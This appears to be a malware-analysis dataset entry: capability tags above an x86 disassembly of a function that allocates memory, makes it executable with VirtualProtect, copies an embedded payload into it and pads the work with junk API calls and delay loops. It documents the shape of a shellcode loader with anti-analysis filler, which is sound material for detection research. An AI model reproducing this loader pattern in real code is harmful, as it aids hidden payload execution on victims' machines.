Function at 0x403440
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x28e4
call fcn.0040ad70
mov eax, dword [0x839080]
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x40352c
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
xor ecx, ecx
xor eax, eax
mov word [esp + 0x12], cx
lea edx, [esp + 0x28]
push edx
mov word [esp + 0x14], ax
mov eax, dword [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0xfc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov edx, dword [esp + 0x28]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [esp + 0x14]
push 0
push eax
lea ecx, [esp + 0x8f8]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellAboutW]
push 0
call fcn.00403c1e
add esp, 4
push 0
call fcn.00403ee4
add eax, 0x1134b
push eax
push 0
mov dword [0x839080], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x839080]
lea edx, [esp + 0x3c]
push edx
push 0x40
push ecx
push eax
mov dword [0x837fd4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x839080], esi
jbe 0x4035b2
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
nop
mov edx, dword [0x839084]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x837fd4]
mov byte [ecx + esi], al
cmp dword [0x839080], 0xa8
jne 0x4035a9
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea edx, [esp + 0x40]
push edx
call edi
push 0
push 0
push 0
call ebx
inc esi
cmp esi, dword [0x839080]
jb 0x403570
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov edi, dword [sym.imp.KERNEL32.dll_FoldStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor eax, eax
mov dword [esp + 0x10], eax
mov ecx, dword [0x839080]
add ecx, eax
cmp ecx, 0xe
jne 0x40368f
push 0
push 0
push 0x402710
call esi
push 0
lea edx, [esp + 0x8f4]
push edx
push 0
push 0
push 0
call edi
push 0x402754
call ebx
push 0
push 0
lea eax, [esp + 0xf8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
lea ecx, [esp + 0x18f0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
push eax
xor edx, edx
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
lea eax, [esp + 0x10f4]
push eax
push edx
lea ecx, [esp + 0x24]
push ecx
push edx
push edx
mov word [esp + 0x30], dx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
push 0
lea edx, [esp + 0x20f8]
push edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x39621
mov dword [esp + 0x10], eax
jl 0x4035ca
call fcn.00403340
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x26
jne 0x4036bc
call fcn.00403420
inc esi
cmp esi, 0x6753f
jl 0x4036b0
mov esi, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov dword [esp + 0x10], 0x7b
nop
cmp dword [0x839080], 0x86
jne 0x40374b
push 0
push 0
call esi
push 0
push 0
call edi
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov word [esp + 0x3a], ax
mov dword [esp + 0x1a], eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov word [esp + 0x26], ax
xor edx, edx
lea eax, [esp + 0x18]
mov word [esp + 0x2c], cx
push eax
lea ecx, [esp + 0x30]
mov word [esp + 0x1c], dx
push ecx
lea edx, [esp + 0x48]
push edx
call ebx
push 0
lea eax, [esp + 0xf4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x839080], 0xf
jne 0x403761
push 0
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub dword [esp + 0x10], 1
jne 0x4036e0
push 0x402760
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret